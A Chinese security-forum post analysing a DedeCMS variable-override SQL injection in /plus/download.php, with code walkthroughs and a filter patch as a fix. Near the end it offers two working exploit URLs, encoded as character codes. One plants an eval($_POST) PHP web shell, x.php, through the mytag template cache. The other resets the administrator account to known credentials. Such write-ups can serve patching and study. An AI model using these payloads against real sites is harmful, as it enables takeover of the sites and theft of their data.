DeDecms变量覆盖之SQL语句分析报告+修复方案

简介: 信息安全交流论坛 BBS.ITSEC.PW 作者:y0umer DEDECMS变量覆盖漏洞分析 昨天暗月凌晨找我搞基.他分析了此漏洞.所以才有得此文. DEDECMS为什么那么多变量覆盖呢? 是因为程序员懒啊! 我也不去批评程序员了.

信息安全交流论坛

BBS.ITSEC.PW

作者:y0umer

DEDECMS变量覆盖漏洞分析

昨天暗月凌晨找我搞基.他分析了此漏洞.所以才有得此文.

DEDECMS为什么那么多变量覆盖呢? 是因为程序员懒啊! 我也不去批评程序员了.因为我也是一个程序员,程序员何必为难程序员呢?

好的.漏洞开始.

首先,根据发布出来的文章可以断定.又是一个插件引发的悲剧.

看代码:

/plus/donwload.php

wps_clip_image-8929

当然,光凭这几句代码无法发现问题.那么我们继续追踪.

来到了

/include/dedesql.class.php

wps_clip_image-7937

注册了一个全局变量 arrs1 ..

我们在来到dedecms的初始化文件..

/include/common.inc.php

wps_clip_image-970

确实有过滤了,但是只限于关键字:cfg_|GLOBALS|_GET|_POST|_COOKIE

我们在追回

/include/dedesql.class.php

wps_clip_image-4446

$sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);

此段代码调用了一个函数str_replace 为了方便阅读.php手册搜索之 :str_replace

wps_clip_image-7815

恩 你没听错..字符串替换.

当然,他是想把$prefix的值,替换成在$GLOBALS中的cfg_dbprefix... 然后返回给$sql变量..

然后这里给querySrting属性赋了值.把刚才的$sql 直接赋值给 queryString

下面我说说重量级的ExecuteNoneQuery2 其实他和ExecuteNoneQuery区别就是ExecuteNoneQuery 多了一个安全检测的选项:

wps_clip_image-22609

然后我们看看这个大名鼎鼎的SAFEcheck

wps_clip_image-15958

如果SQL语句是select 的话,就是否有$notallow1 值的内容。。

具体的代码防注入代码在这里:

//SQL语句过滤程序,由80sec提供,这里作了适当的修改

if (!function_exists('CheckSql'))

{

    function CheckSql($db_string,$querytype='select')

    {

        global $cfg_cookie_encode;

        $clean = '';

        $error='';

        $old_pos = 0;

        $pos = -1;

        $log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';

        $userIP = GetIP();

        $getUrl = GetCurUrl();

        //如果是普通查询语句,直接过滤一些特殊语法

        if($querytype=='select')

        {

            $notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";

            //$notallow2 = "--|/\*";

            if(preg_match("/".$notallow1."/i", $db_string))

            {

                fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");

                exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");

            }

        }

        //完整的SQL检查

        while (TRUE)

        {

            $pos = strpos($db_string, '\'', $pos + 1);

            if ($pos === FALSE)

            {

                break;

            }

            $clean .= substr($db_string, $old_pos, $pos - $old_pos);

            while (TRUE)

            {

                $pos1 = strpos($db_string, '\'', $pos + 1);

                $pos2 = strpos($db_string, '\\', $pos + 1);

                if ($pos1 === FALSE)

                {

                    break;

                }

                elseif ($pos2 == FALSE || $pos2 > $pos1)

                {

                    $pos = $pos1;

                    break;

                }

                $pos = $pos2 + 1;

            }

            $clean .= '$s$';

            $old_pos = $pos + 1;

        }

        $clean .= substr($db_string, $old_pos);

        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它

        if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)

        {

            $fail = TRUE;

            $error="union detect";

        }

        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们

        elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)

        {

            $fail = TRUE;

            $error="comment detect";

        }

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库

        elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)

        {

            $fail = TRUE;

            $error="slown down detect";

        }

        elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)

        {

            $fail = TRUE;

            $error="slown down detect";

        }

        elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)

        {

            $fail = TRUE;

            $error="file fun detect";

        }

        elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)

        {

            $fail = TRUE;

            $error="file fun detect";

        }

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息

        elseif (preg_match('~\([^)]*?select~s', $clean) != 0)

        {

            $fail = TRUE;

            $error="sub select detect";

        }

        if (!empty($fail))

        {

            fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");

            exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");

        }

        else

        {

            return $db_string;

        }

}

当然,这和我们的主题一点关系都没。因此就不追究了。

继续看ExecuteNoneQuery2

定义函数方法在这里:

function ExecuteNoneQuery2($sql='')

    {

        global $dsql;

if(!$dsql->isInit)

{

$this->Init($this->pconnect);

}

        if($dsql->isClose)

        {

            $this->Open(FALSE);

            $dsql->isClose = FALSE;

        }

if(!empty($sql))

        {

            $this->SetQuery($sql);

        }

        if(is_array($this->parameters))

        {

            foreach($this->parameters as $key=>$value)

            {

                $this->queryString = str_replace("@".$key,"'$value'",$this->queryString);

            }

        }

$t1 = ExecTime();

        mysql_query($this->queryString,$this->linkID);

红色代码部分:

当传入的$sql不为空是,就开始替换表前缀..

function SetQuery($sql)

    {

        $prefix="#@__";

        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);

        $this->queryString = $sql;

    }

但是在替换的途中。$GLOBALS['cfg_dbprefix']是可以被覆盖的。那么因此。$GLOBALS['cfg_dbprefix']是我们可以控制的。、

然而在回到我们的/plus/download.php 文件。

/*------------------------

//提供软件给用户下载(旧模式)

function getSoft_old()

------------------------*/

else if($open==1)

{

    //更新下载次数

    $id = isset($id) && is_numeric($id) ? $id : 0;

    $link = base64_decode(urldecode($link));

    $hash = md5($link);

    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");

    if($rs <= 0)

    {

        $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";

        $dsql->ExecNoneQuery($query);

    }

    header("location:$link");

    exit();

}

注意。调用了ExecuteNoneQuery2 也就是说,过了80sec防注入的方法。可以随心所欲了。

在来回顾下

function CheckRequest(&$val) {

        if (is_array($val)) {

            foreach ($val as $_k=>$_v) {

                if($_k == 'nvarname') continue;

                CheckRequest($_k);

                CheckRequest($val[$_k]);

            }

        } else

        {

            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )

            {

                exit('Request var not allow!');

            }

        }

    }

    //var_dump($_REQUEST);exit;

   CheckRequest($_REQUEST);

我们知道,$_REQUEST 预定义变量支持的HTTP方式有:GET,POST,COOKIE.

然而..我们只过滤了GLOBALS这个关键字..

因此结合以上分析,得出的结论是:

访问: source/dedecms/plus/donwload.php?open=1&arrs1[]=修改管理员的char编码的sql语句。

具体的char编码请看:

wps_clip_image-27788

利用此漏洞的唯唯一困难就是目标站一定要是默认表前缀。否则可能会出现错误问题.

利用mytag_js.php文件直接写shell.

直接上代码吧.

require_once(dirname(__FILE__).'/../include/common.inc.php');

require_once(DEDEINC.'/arc.partview.class.php');

if(isset($arcID)) $aid = $arcID;

$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;

if($aid==0) die(" document.write('Request Error!'); ");

$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';

if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )

{

    $pv = new PartView();

  $row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");

    if(!is_array($row))

    {

        $myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->";

    }

    else

    {

        $tagbody = '';

        if($row['timeset']==0)

        {

            $tagbody = $row['normbody'];

        }

        else

        {

            $ntime = time();

            if($ntime>$row['endtime'] || $ntime < $row['starttime']) {

                $tagbody = $row['expbody'];

            }

            else {

                $tagbody = $row['normbody'];

            }

        }

$pv->SetTemplet($tagbody, 'string');

        $myvalues  = $pv->GetResult();

        $myvalues = str_replace('"','\"',$myvalues);

        $myvalues = str_replace("\r","\\r",$myvalues);

        $myvalues = str_replace("\n","\\n",$myvalues);

        $myvalues =  "<!--\r\ndocument.write(\"{$myvalues}\");\r\n-->\r\n";

file_put_contents($cacheFile, $myvalues);

        /* 使用 file_put_contents替换下列代码提高执行效率

        $fp = fopen($cacheFile, 'w');

        fwrite($fp, $myvalues);

        fclose($fp);

        */

    }

}

include $cacheFile;

直接把mytag 表的 tagbody字段的内容改成执行我们的SHELL,然后就会写入文件到

$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';

然后会被include到本文件。 之后你就懂了。

因为是 $pv->SetTemplet($tagbody, 'string'); 会按照dede的标签库来执行。

所以update 的内容一定要符合dedecms 的标签

{dede:php}.这里就是php的原生语句了{/dede}

在来总结一下失败的原因:

修改管理员帐号和密码失败的原因:

一、表前缀和update 时的表前缀不一致

二、没有想过id的管理员可以update 也就是说没有符合where 的条件。

三、被锁表了 (大站一般都是主从分离) 所以..

直接GETSHELL失败的原因:

一、表前缀和update 时的表前缀不一致

二、Where 条件必须成立

三、Data目录权限问题

四、Plus 目录权限问题

好了,暂时就分析到这里。Exp就不写了 提供两个exp吧。

ID:1

plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

注明:ID:1的是GETSHELL,plus根目录下生成x.php 密码是m

ID:2

/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35

注明:ID2是修改管理员的账号和密码,账号是spider密码admin

修复方案:在/include/common.inc.php 文件中找到

if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$val)  )
            {
                exit('Request var not allow!');
            }
        }
    }

修改成:

if (!defined('DEDEREQUEST'))
{
    //检查和注册外部提交的变量   (2011.8.10 修改登录时相关过滤)
    function CheckRequest(&$val) {
        if (is_array($val)) {
            foreach ($val as $_k=>$_v) {
                if($_k == 'nvarname') continue;
                CheckRequest($_k);
                CheckRequest($val[$_k]);
            }
        } else
        {
            if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|arrs1|arrs2)#',$val)  )
            {
                exit('Request var not allow!');
            }
        }
    }

可以坚持到官方补丁之前。

转载请注明来源·。谢谢

目录
相关文章
|
3月前
|
存储 SQL 关系型数据库
【MySQL调优】如何进行MySQL调优?从参数、数据建模、索引、SQL语句等方向,三万字详细解读MySQL的性能优化方案(2024版)
MySQL调优主要分为三个步骤:监控报警、排查慢SQL、MySQL调优。 排查慢SQL:开启慢查询日志 、找出最慢的几条SQL、分析查询计划 。 MySQL调优: 基础优化:缓存优化、硬件优化、参数优化、定期清理垃圾、使用合适的存储引擎、读写分离、分库分表; 表设计优化:数据类型优化、冷热数据分表等。 索引优化:考虑索引失效的11个场景、遵循索引设计原则、连接查询优化、排序优化、深分页查询优化、覆盖索引、索引下推、用普通索引等。 SQL优化。
617 15
【MySQL调优】如何进行MySQL调优?从参数、数据建模、索引、SQL语句等方向,三万字详细解读MySQL的性能优化方案(2024版)
|
2月前
|
SQL 存储 数据可视化
手机短信SQL分析技巧与方法
在手机短信应用中,SQL分析扮演着至关重要的角色
|
6月前
|
SQL 关系型数据库 MySQL
SQL调优方案
7、不带任何条件的count(*)查询,是绝对要杜绝的,不仅会引起全盘扫描而且没有任何业务意义。 文章知识点与官方知识档案匹配,可进一步学习相关知识 MySQL入门技能树SQL高级技巧CTE和递归查询88019 人正在系统学习中
37 0
|
4月前
|
前端开发 Java JSON
Struts 2携手AngularJS与React:探索企业级后端与现代前端框架的完美融合之道
【8月更文挑战第31天】随着Web应用复杂性的提升,前端技术日新月异。AngularJS和React作为主流前端框架,凭借强大的数据绑定和组件化能力,显著提升了开发动态及交互式Web应用的效率。同时,Struts 2 以其出色的性能和丰富的功能,成为众多Java开发者构建企业级应用的首选后端框架。本文探讨了如何将 Struts 2 与 AngularJS 和 React 整合,以充分发挥前后端各自优势,构建更强大、灵活的 Web 应用。
63 0
|
4月前
|
SQL 数据采集 数据挖掘
为什么要使用 SQL 函数?详尽分析
【8月更文挑战第31天】
62 0
|
4月前
|
SQL 数据采集 算法
【电商数据分析利器】SQL实战项目大揭秘:手把手教你构建用户行为分析系统,从数据建模到精准营销的全方位指南!
【8月更文挑战第31天】随着电商行业的快速发展,用户行为分析的重要性日益凸显。本实战项目将指导你使用 SQL 构建电商平台用户行为分析系统,涵盖数据建模、采集、处理与分析等环节。文章详细介绍了数据库设计、测试数据插入及多种行为分析方法,如购买频次统计、商品销售排名、用户活跃时间段分析和留存率计算,帮助电商企业深入了解用户行为并优化业务策略。通过这些步骤,你将掌握利用 SQL 进行大数据分析的关键技术。
243 0
|
4月前
|
SQL 数据挖掘 BI
【超实用技巧】解锁SQL聚合函数的奥秘:从基础COUNT到高级多表分析,带你轻松玩转数据统计与挖掘的全过程!
【8月更文挑战第31天】SQL聚合函数是进行数据统计分析的强大工具,可轻松计算平均值、求和及查找极值等。本文通过具体示例,展示如何利用这些函数对`sales`表进行统计分析,包括使用`COUNT()`、`SUM()`、`AVG()`、`MIN()`、`MAX()`等函数,并结合`GROUP BY`和`HAVING`子句实现更复杂的数据挖掘需求。通过这些实践,你将学会如何高效地应用SQL聚合函数解决实际问题。
60 0
|
4月前
|
网络协议 NoSQL 网络安全
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
【Azure 应用服务】由Web App“无法连接数据库”而逐步分析到解析内网地址的办法(SQL和Redis开启private endpoint,只能通过内网访问,无法从公网访问的情况下)
|
4月前
|
SQL 设计模式 数据处理
Flink SQL 在快手实践问题之状态兼容的终极方案特点内容如何解决
Flink SQL 在快手实践问题之状态兼容的终极方案特点内容如何解决
27 0
|
5月前
|
SQL 运维 分布式计算
DataWorks产品使用合集之ODPPS中如何使用SQL查询从表中获取值并将其赋值给临时变量以供后续使用
DataWorks作为一站式的数据开发与治理平台,提供了从数据采集、清洗、开发、调度、服务化、质量监控到安全管理的全套解决方案,帮助企业构建高效、规范、安全的大数据处理体系。以下是对DataWorks产品使用合集的概述,涵盖数据处理的各个环节。